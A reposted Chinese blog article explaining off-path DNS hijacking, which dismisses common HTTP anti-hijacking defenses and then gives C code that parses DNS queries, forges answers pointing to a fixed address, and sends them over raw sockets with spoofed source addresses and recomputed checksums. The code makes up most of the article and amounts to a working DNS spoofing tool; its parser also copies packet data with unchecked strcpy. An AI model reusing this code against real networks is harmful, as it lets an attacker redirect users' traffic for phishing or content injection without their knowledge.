DNS劫持原理与实现


声明:本文转载自https://my.oschina.net/u/1376494/blog/994146,转载目的在于传递更多信息,仅供学习交流之用。如有侵权行为,请联系我,我会及时删除。

    上篇说到旁路劫持的原理与实现,主要还是针对TCP下HTTP服务而言的,有粉儿问了二个问题,一个问题是基于TCP的HTTP服务可以防劫持吗,网上有许多关于HTTP防劫持的办法,有说检测服务地址的,有说分片传输请求的,有说检测ttl值异常的,有说禁止重定向的,结论是都没用,伪造报文里网络层地址原本就是用户的目标地址,否则还叫什么伪造呢,请求报文分片web端能识别劫持设备就能识别,况且你确定你分片的报文在网络设备层发送前不会合并吗,ttl异常检测完全不靠谱,不用重定向200OK照样让你乖乖跳转;另一个问题是UDP能实现旁路劫持控制吗,结论是可以,UDP不同于TCP无连接无状态,只要数据合法先到先得,早年运营商控制P2P数据传输对带宽的占用就使用过类似方法,直接看代码吧不复杂。

DNS协议

//   0     1--4    05   06   07   08    9-11    12-15 // +----+--------+----+----+----+----+--------+-------+ // | QR | opcode | AA | TC | RD | RA | <zero> | rcode | // +----+--------+----+----+----+----+--------+-------+ // +--------------------------------+ // | DNS Header: ID + flags         | // +--------------------------------+ // | Question:   type of query      | // +--------------------------------+ // | Answer:     RR answer to query | // +--------------------------------+ // | Authority:  RR for name server | // +--------------------------------+ // | Additional: RR(s) other info   | // +--------------------------------+ 

DNS解析

void GtDnsParse(UCHAR* puszPacket, GTDNSHEADER_S* pstHead, GTDNSQUESTION_S* pstQues) { 	UCHAR* puszCur = puszPacket;  	/* dns header */ 	memcpy(&pstHead->m_usIdent, puszCur, sizeof(USHORT)); 	puszCur += sizeof(USHORT);  	memcpy(&pstHead->m_usFlags, puszCur, sizeof(USHORT)); 	puszCur += sizeof(USHORT);  	memcpy(&pstHead->m_usQuCount, puszCur, sizeof(USHORT)); 	puszCur += sizeof(USHORT);  	memcpy(&pstHead->m_usAnCount, puszCur, sizeof(USHORT)); 	puszCur += sizeof(USHORT);  	memcpy(&pstHead->m_usNaCount, puszCur, sizeof(USHORT)); 	puszCur += sizeof(USHORT);  	memcpy(&pstHead->m_usAdCount, puszCur, sizeof(USHORT)); 	puszCur += sizeof(USHORT);  	/* dns question */ 	if (ntohs(pstHead->m_usQuCount) > 0) { 		strcpy(pstQues->m_szUrl, (char*)puszCur); 		puszCur += strlen(pstQues->m_szUrl) + 1; 		memcpy(&pstQues->m_usType, puszCur, sizeof(USHORT)); 		puszCur += sizeof(USHORT); 		memcpy(&pstQues->m_usClass, puszCur, sizeof(USHORT)); 		puszCur += sizeof(USHORT); 	}  	return; }

DNS劫持

UINT GtDnsForge(UCHAR* puszPacket, GTDNSHEADER_S* pstHead, GTDNSQUESTION_S* pstQues) { 	UCHAR* puszCur = puszPacket;  	/* dns header */ 	memcpy(puszCur, &pstHead->m_usIdent, sizeof(USHORT)); 	puszCur += sizeof(USHORT);  	*(USHORT*)puszCur = htons(0X8180); 	/**(USHORT*)puszCur |= DNS_FLAG_QR; 	*(USHORT*)puszCur |= DNS_FLAG_AA; 	*(USHORT*)puszCur |= DNS_FLAG_RD; 	*(USHORT*)puszCur |= DNS_FLAG_RA;*/ 	puszCur += sizeof(USHORT);  	*(USHORT*)puszCur = pstHead->m_usQuCount; 	puszCur += sizeof(USHORT);  	 *(USHORT*)puszCur = GT_DNS_AN; 	puszCur += sizeof(USHORT);  	 *(USHORT*)puszCur = GT_DNS_NA; 	puszCur += sizeof(USHORT);  	 *(USHORT*)puszCur = GT_DNS_AD; 	puszCur += sizeof(USHORT);  	/* dns question */ 	strcat((char*)puszCur, pstQues->m_szUrl); 	puszCur += strlen(pstQues->m_szUrl) + 1;  	*(USHORT*)puszCur = pstQues->m_usType; 	puszCur += sizeof(USHORT);  	*(USHORT*)puszCur = pstQues->m_usClass; 	puszCur += sizeof(USHORT);  	/* dns answer */ 	*(USHORT*)puszCur = GT_DNS_DOMAIN; 	puszCur += sizeof(USHORT);  	*(USHORT*)puszCur = GT_DNS_AN; 	puszCur += sizeof(USHORT);  	*(USHORT*)puszCur = GT_DNS_AN; 	puszCur += sizeof(USHORT);  	*(UINT*)puszCur = GT_DNS_DEFAULT_TTL; 	puszCur += sizeof(UINT);  	*(USHORT*)puszCur = GT_DNS_AN_SIZE; 	puszCur += sizeof(USHORT);  	*(UINT*)puszCur = inet_addr(GT_DNS_HTML); 	puszCur += sizeof(UINT) + 1;  	return (UINT)(puszCur - puszPacket); }

DNS伪造

void GtRawDnsSend(int iSocket, UCHAR* puszHeader, UCHAR* puszData, int iDataLength) { 	USHORT usSrcPort = 0; 	USHORT usDstPort = 0; 	struct sockaddr_in stRaw; 	struct in_addr stSrcAddress; 	struct in_addr stDstAddress; 	struct ip* pstIP = NULL; 	struct udphdr* pstUdp = NULL; 	struct udphdr* pstRedirUdp = NULL; 	UCHAR uszRedir[PACKET_SIZE] = { 0 };  	/* ip header */ 	pstIP = (struct ip*)puszHeader; 	memcpy(&stSrcAddress, &pstIP->ip_src, sizeof(struct in_addr)); 	memcpy(&stDstAddress, &pstIP->ip_dst, sizeof(struct in_addr));  	/* udp Header */ 	pstUdp = (struct udphdr*)(puszHeader + pstIP->ip_hl * 4); 	usSrcPort = ntohs(pstUdp->uh_sport); 	usDstPort = ntohs(pstUdp->uh_dport);  	/* redir packet */ 	memcpy(uszRedir + sizeof(struct ip) + sizeof(struct udphdr), puszData, iDataLength);  	pstRedirUdp = (struct udphdr*)(uszRedir + sizeof(struct ip)); 	GtRawUdpHead((char*)pstRedirUdp, usDstPort, usSrcPort, sizeof(struct udphdr) + iDataLength); 	pstRedirUdp->uh_sum = GtRawTransportCheckSum(IPPROTO_UDP, (char*)pstRedirUdp, sizeof(struct udphdr) + iDataLength, stDstAddress, stSrcAddress);  	GtRawIPHead((char*)uszRedir, IPPROTO_UDP, stDstAddress, stSrcAddress, sizeof(struct ip) + sizeof(struct udphdr) + iDataLength);  	memset(&stRaw, '\0', sizeof(struct sockaddr_in)); 	stRaw.sin_family = AF_INET; 	stRaw.sin_addr = stSrcAddress; 	stRaw.sin_port = htons(usSrcPort);  	if( sendto(iSocket, uszRedir, sizeof(struct ip) + sizeof(struct udphdr) + iDataLength, 0, (struct sockaddr*)&stRaw, sizeof(struct sockaddr_in)) < 0 ) { 		GT_ERROR("%s\n", strerror(errno)); 	}  	return; }  void GtRawUdpHead(char* pszPacket, USHORT usSrc, USHORT usDst, int iLength) { 	struct udphdr* pstUdp = (struct udphdr*)pszPacket;  	pstUdp->uh_sport = htons(usSrc); 	pstUdp->uh_dport = htons(usDst); 	pstUdp->uh_ulen = htons(iLength); 	pstUdp->uh_sum = 0;  	return; }  USHORT GtRawTransportCheckSum(UCHAR ucPro, char* pszPacket, int iLength, struct in_addr stSrc, struct in_addr stDst) { 	USHORT usAnswer = 0; 	GTTCPPSEUDO_S stPseudo; 	char szPseudo[PACKET_SIZE] = { 0 };  	memset(&stPseudo, '\0', sizeof(GTTCPPSEUDO_S)); 	stPseudo.m_stSrc = stSrc; 	stPseudo.m_stDst = stDst; 	stPseudo.m_ucHolder = 0; 	stPseudo.m_ucProtocol = ucPro; 	stPseudo.m_usLength = htons(iLength);  	memcpy(szPseudo, &stPseudo, sizeof(GTTCPPSEUDO_S)); 	memcpy(szPseudo + sizeof(GTTCPPSEUDO_S), pszPacket, iLength);  	usAnswer = (USHORT)GtRawIPCheckSum((USHORT*)szPseudo, sizeof(GTTCPPSEUDO_S) + iLength);  	return usAnswer; }

    连续两篇论述关于劫持的文章其实是想说明,技术本身是为了产品和功能服务的没有好与坏善与恶之说,用的不好给人带来糟糕的体验不说还使人厌烦,用的好可以净化网络环境屏蔽不良信息,希望诸位网络活动的参与者从自身做起共同维护良好的网络秩序。

本文发表于2017年06月21日 10:36
(c)注:本文转载自https://my.oschina.net/u/1376494/blog/994146,转载目的在于传递更多信息,并不代表本网赞同其观点和对其真实性负责。如有侵权行为,请联系我们,我们会及时删除.

阅读 1876 讨论 0 喜欢 0

抢先体验

扫码体验
趣味小程序
文字表情生成器

闪念胶囊

你要过得好哇,这样我才能恨你啊,你要是过得不好,我都不知道该恨你还是拥抱你啊。

直抵黄龙府,与诸君痛饮尔。

那时陪伴我的人啊,你们如今在何方。

不出意外的话,我们再也不会见了,祝你前程似锦。

这世界真好,吃野东西也要留出这条命来看看

快捷链接
网站地图
提交友链
Copyright © 2016 - 2021 Cion.
All Rights Reserved.
京ICP备2021004668号-1